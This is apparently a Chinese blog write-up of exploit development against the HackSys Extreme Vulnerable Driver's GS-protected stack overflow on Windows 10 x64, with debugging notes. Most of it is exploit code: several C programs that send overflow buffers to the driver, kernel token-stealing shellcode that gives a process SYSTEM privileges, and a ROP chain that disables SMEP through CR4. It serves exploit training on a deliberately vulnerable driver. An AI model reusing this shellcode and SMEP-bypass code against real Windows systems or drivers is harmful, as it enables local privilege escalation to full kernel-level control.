直接干win10吧
老套路 长度改成0x200对拷贝处下断点
编译运行断下后单步跟踪到循环拷贝处下条件断点
按g 断下kp查看堆栈调用
kd 100对比查看覆盖需要增加覆盖的长度
#include <windows.h>
#include <stdio.h>
#include"shellcode.h"
DWORD64 buf[0xf00]{};
HANDLE hDriver;
DWORD dwBytesOut = 0;
int main() {
hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Unable to get a handle on the device\n");
return(-1);
}
DWORD64 a = (DWORD64)&ShellCode;
PVOID64 temp;
temp = VirtualAlloc(
NULL,
0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(temp, (PVOID64)a, 0x200);
for (size_t i = 0; i <0xf00; i++)
{
buf[i] = (DWORD64)temp;
}
DeviceIoControl(hDriver, 0x222007, buf, 0x200, 0, 0, &dwBytesOut, NULL);
return 0;
}
shellcode.asm
.code
ShellCode proc
int 3
xor rax, rax ; Set ZERO
mov rax, gs:[rax + 188h] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at GS : [0x188]
mov rax, [rax +184] ; Get nt!_KTHREAD.ApcState.Process
mov rcx, rax ; Copy current process _EPROCESS structure
mov r11, rcx ; Store Token.RefCnt
and r11, 7
mov rdx, 4h ; SYSTEM process PID = 0x4
SearchSystemPID:
mov rax, [rax + 2e8h] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub rax, 2e8h
cmp[rax + 2e0h], rdx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov rdx, [rax + 358h] ; Get SYSTEM process nt!_EPROCESS.Token
and rdx, 0fffffffffffffff0h
or rdx, r11
mov[rcx + 358h], rdx
loc_1400865AE:
add rsp, 10h
xor rsi, rsi
xor rdi, rdi
xor rax, rax
ret
ShellCode endp
end
**很明显已经被覆盖了 **
继续在拷贝的时候观察堆栈
再拷贝函数还没返回时 经过调试发现只要缓冲区大于0x200就会崩溃
最重要的是虽然他是往上拷贝的,但是第一次拷贝的时候就把缓冲区最后的拷上去了,也就是反着拷贝的,以前拷贝最前面往最后面拷,现在是从最后面往最前面拷贝 坑爹呀有木有
好了 我们知道以前调过覆盖cookie和ebp还有返回地址 的长度是
为了验证这种长度刚好覆盖返回地址,可以在判断gs cookie的时候让他跳过去
跳过去后在返回的时候查看esp
覆盖的长度不多不少刚刚好
现在我们要考虑触发seh溢出来的方式绕过gs
还得观察堆栈查看seh句柄的位置
这里 要符号包 没符号包看着太难受了 算了继续干
那么问题又来了 怎么触发异常呢 这里我想到了把栈撑爆 ,因为我原来r3试过这玩意可以触发seh,但是在r0撑爆了触发不了seh就直接崩了,就像我开始提到的哪个驱动洞一样,一直没办法绕gs,不扯了,把长度改成0xffff
还没拷贝结束就崩了 触发不了seh
然后我又去看hevd的利用 分配文件映射内存,然后发送无效的映射内存触发seh,不过这方法需要发送长度大于映射内存+4
又扯远了,还是就事论事把,编写代码如下
#include <windows.h>
#include <stdio.h>
#include"shellcode.h"
HANDLE hDriver;
DWORD dwBytesOut = 0;
int main() {
hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Unable to get a handle on the device\n");
system("pause");
return(-1);
}
PVOID64 lpvPayload = VirtualAlloc(
NULL, // Next page to commit
0x100, // Page size, in bytes
MEM_COMMIT | MEM_RESERVE, // Allocate a committed page
PAGE_EXECUTE_READWRITE); // Read/write access
if (lpvPayload == NULL)
{
printf("\n[+] Failed to alloc Memory!\n");
system("pause");
return -1;
}
printf(" -> Done!\n");
memcpy(lpvPayload, ShellCode, 0x100);
HANDLE hMapFile = CreateFileMapping(
INVALID_HANDLE_VALUE, // Use paging file
NULL, // Default security
PAGE_EXECUTE_READWRITE, // Read/write/execute access
0, // Maximum object size (high-order DWORD)
4096, // Maximum object size (low-order DWORD)
NULL
);
if (hMapFile == NULL)
{
printf("\n[+] Failed to create file mapping object\n");
system("pause");
return -1;
}
PVOID64 pBuf = MapViewOfFile(
hMapFile, // Handle to map object
FILE_MAP_ALL_ACCESS, // Read/write permission
0,
0,
4096
);
if (pBuf == NULL)
{
printf("\n[+] Failed to Map a view of the File\n");
CloseHandle(hMapFile);
system("pause");
return -1;
}
memset(pBuf, 0x41, 4096);
PVOID64 lpOverflowBuffer = (PVOID64)((ULONG64)pBuf + (4096 - (0x200 + 64 + 16)));
for (unsigned int i = 0; i < 0x200 + 64 + 16; i += 8)
*((PULONG64)((ULONG64)lpOverflowBuffer + i)) = (ULONG64)lpvPayload;
BOOL bResult=DeviceIoControl(hDriver, 0x222007, lpOverflowBuffer, 0x200+64+16+8, 0, 0, &dwBytesOut, NULL);
if (!bResult) {
wprintf(L" -> Failed to send Data!\n\n");
exit(1);
}
return 0;
}
原32位的代码https://github.com/Cn33liz/HSEVD-StackCookieBypass/blob/master/HS-StackOverflowGS/HS-StackOverflowGS.c
此博客已终结
x64下seh不在栈上)无法覆盖,只能触发一下she而不崩溃
总结,这方法在实战中没啥有,挺鸡肋的,现在的驱动是你分配多少内存,发送长度必须在这个长度之内,比如你malloc一个1000的,长度只能发送1000.你发送大于这个数字根本进入不了驱动的分发函数,并且就算又seh覆盖,但由于seh保护的措施,导致无法利用,除非又另一个漏洞泄露gs的值
附上除发异常而不崩溃的代码 仅适用于 1809
在这里插入代码片#include <windows.h>
#include <stdio.h>
#include"shellcode.h"
// 手动设置了seh 因为seh不在栈下面 所以没办法覆盖seh 只能触发一下异常 也就是这个漏洞无法利用
HANDLE hDriver;
DWORD dwBytesOut = 0;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemModuleInformation = 11,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef struct _ROP {
PUCHAR PopRcxRet;
PUCHAR Cr4RegValue;
PUCHAR MovCr4EcxRet;
} ROP, * PROP;
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG NumberOfModules;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
int main() {
DWORD len;
PSYSTEM_MODULE_INFORMATION ModuleInfo;
PUCHAR kernelBase = NULL;
ROP DisableSMEP;
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);
kernelBase = (PUCHAR)ModuleInfo->Module[0].ImageBase;
wprintf(L" [+] shellcode is at: 0x%s \n", ModuleInfo->Module[0].FullPathName);
wprintf(L" [*] Allocating Ring0 Payload");
LPVOID lpvPayload = VirtualAlloc(
NULL, // Next page to commit
0x200, // Page size, in bytes
MEM_COMMIT | MEM_RESERVE, // Allocate a committed page
PAGE_EXECUTE_READWRITE); // Read/write access
if (lpvPayload == NULL)
{
wprintf(L" -> Unable to reserve Memory!\n\n");
exit(1);
}
HANDLE hDevice;
HANDLE hMapFile;
LPCWSTR lpSharedMemoryMap = L"Local\\SharedMemoryMap";
LPVOID pBuf = NULL;
BOOL bResult = FALSE;
LPVOID lpOverflowBuffer;
hMapFile = CreateFileMapping(
INVALID_HANDLE_VALUE, // Use paging file
NULL, // Default security
PAGE_EXECUTE_READWRITE, // Read/write/execute access
0, // Maximum object size (high-order DWORD)
4096, // Maximum object size (low-order DWORD)
lpSharedMemoryMap); // Name of mapping object
if (hMapFile == NULL)
{
wprintf(L" -> Could not create File Mapping Object (%d)! \n\n", GetLastError());
exit(1);
}
pBuf = MapViewOfFile(hMapFile, // Handle to map object
FILE_MAP_ALL_ACCESS, // Read/write permission
0,
0,
4096);
if (pBuf == NULL)
{
wprintf(L" -> Could not Map view of File (%d)! \n\n", GetLastError());
CloseHandle(hMapFile);
exit(1);
}
memcpy(lpvPayload, ShellCode, 0x100);
memset(pBuf, 0x41, 4096);
lpOverflowBuffer = (LPVOID)((ULONG64)pBuf + (4096 - (0x200 + 56 + sizeof(ROP)+8)));
for (unsigned int i = 0; i < 0; i += 8) // Fill Buffer with Payload address to overwrite the SEH Handler
*((PULONG)((ULONG64)lpOverflowBuffer + i)) = (ULONG64)lpvPayload;
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
DisableSMEP.PopRcxRet = kernelBase + 0x270fce;
DisableSMEP.Cr4RegValue = (PUCHAR)0x406f8;
DisableSMEP.MovCr4EcxRet = kernelBase + 0x16e437;
memcpy((PULONG)((ULONG64)lpOverflowBuffer + 0x200 + 56), &DisableSMEP, sizeof(ROP));
wprintf(L" [+] shellcode is at: 0x%p \n", ShellCode);
wprintf(L" [+] Kernel Base Address is at: 0x%p \n", kernelBase);
wprintf(L" [+] pop rcx ; ret -> Gadget available at: 0x%p \n", DisableSMEP.PopRcxRet);
wprintf(L" [+] New value of CR4 register: 0x%p \n", DisableSMEP.Cr4RegValue);
wprintf(L" [+] mov cr4, ecx ; ret -> Gadget available at: 0x%p \n\n", DisableSMEP.MovCr4EcxRet);
hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Unable to get a handle on the device\n");
return(-1);
}
//bp fffff8063e7a0000+867B4
//fffff806`3e8267cf
// + 56 + sizeof(ROP) + 8+8
//fffff806`3e8267bb
//+ 56 + sizeof(ROP) + 8 + 8
DeviceIoControl(hDriver, 0x222007, lpOverflowBuffer, 0x200, 0, 0, &dwBytesOut, NULL);
getchar();
//STARTUPINFO si = { sizeof(si) };
//PROCESS_INFORMATION pi = { 0 };
//si.dwFlags = STARTF_USESHOWWINDOW;
//si.wShowWindow = SW_SHOW;
//WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
//BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
//getchar();
return 0;
}
shellcode.asm
```cpp
.code
ShellCode proc
xor rax, rax ; Set ZERO
mov rax, gs:[rax + 188h] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at GS : [0x188]
mov rax, [rax +220h] ; Get nt!_KTHREAD.ApcState.Process
mov rcx, rax ; Copy current process _EPROCESS structure
mov r11, rcx ; Store Token.RefCnt
and r11, 7
mov rdx, 4h ; SYSTEM process PID = 0x4
SearchSystemPID:
mov rax, [rax + 2e8h] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub rax, 2e8h
cmp[rax + 2e0h], rdx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov rdx, [rax + 358h] ; Get SYSTEM process nt!_EPROCESS.Token
and rdx, 0fffffffffffffff0h
or rdx, r11
mov[rcx + 358h], rdx
loc_1400865AE:
add rsp, 10h
mov r12,0
mov r15,0
mov r14,0
mov rsi,00000000c00000bbh
mov rdi,4d
mov rdx,0
mov rbx,3
int 3
ret
ShellCode endp
end
shellcode.h
#pragma once
extern "C" void ShellCode();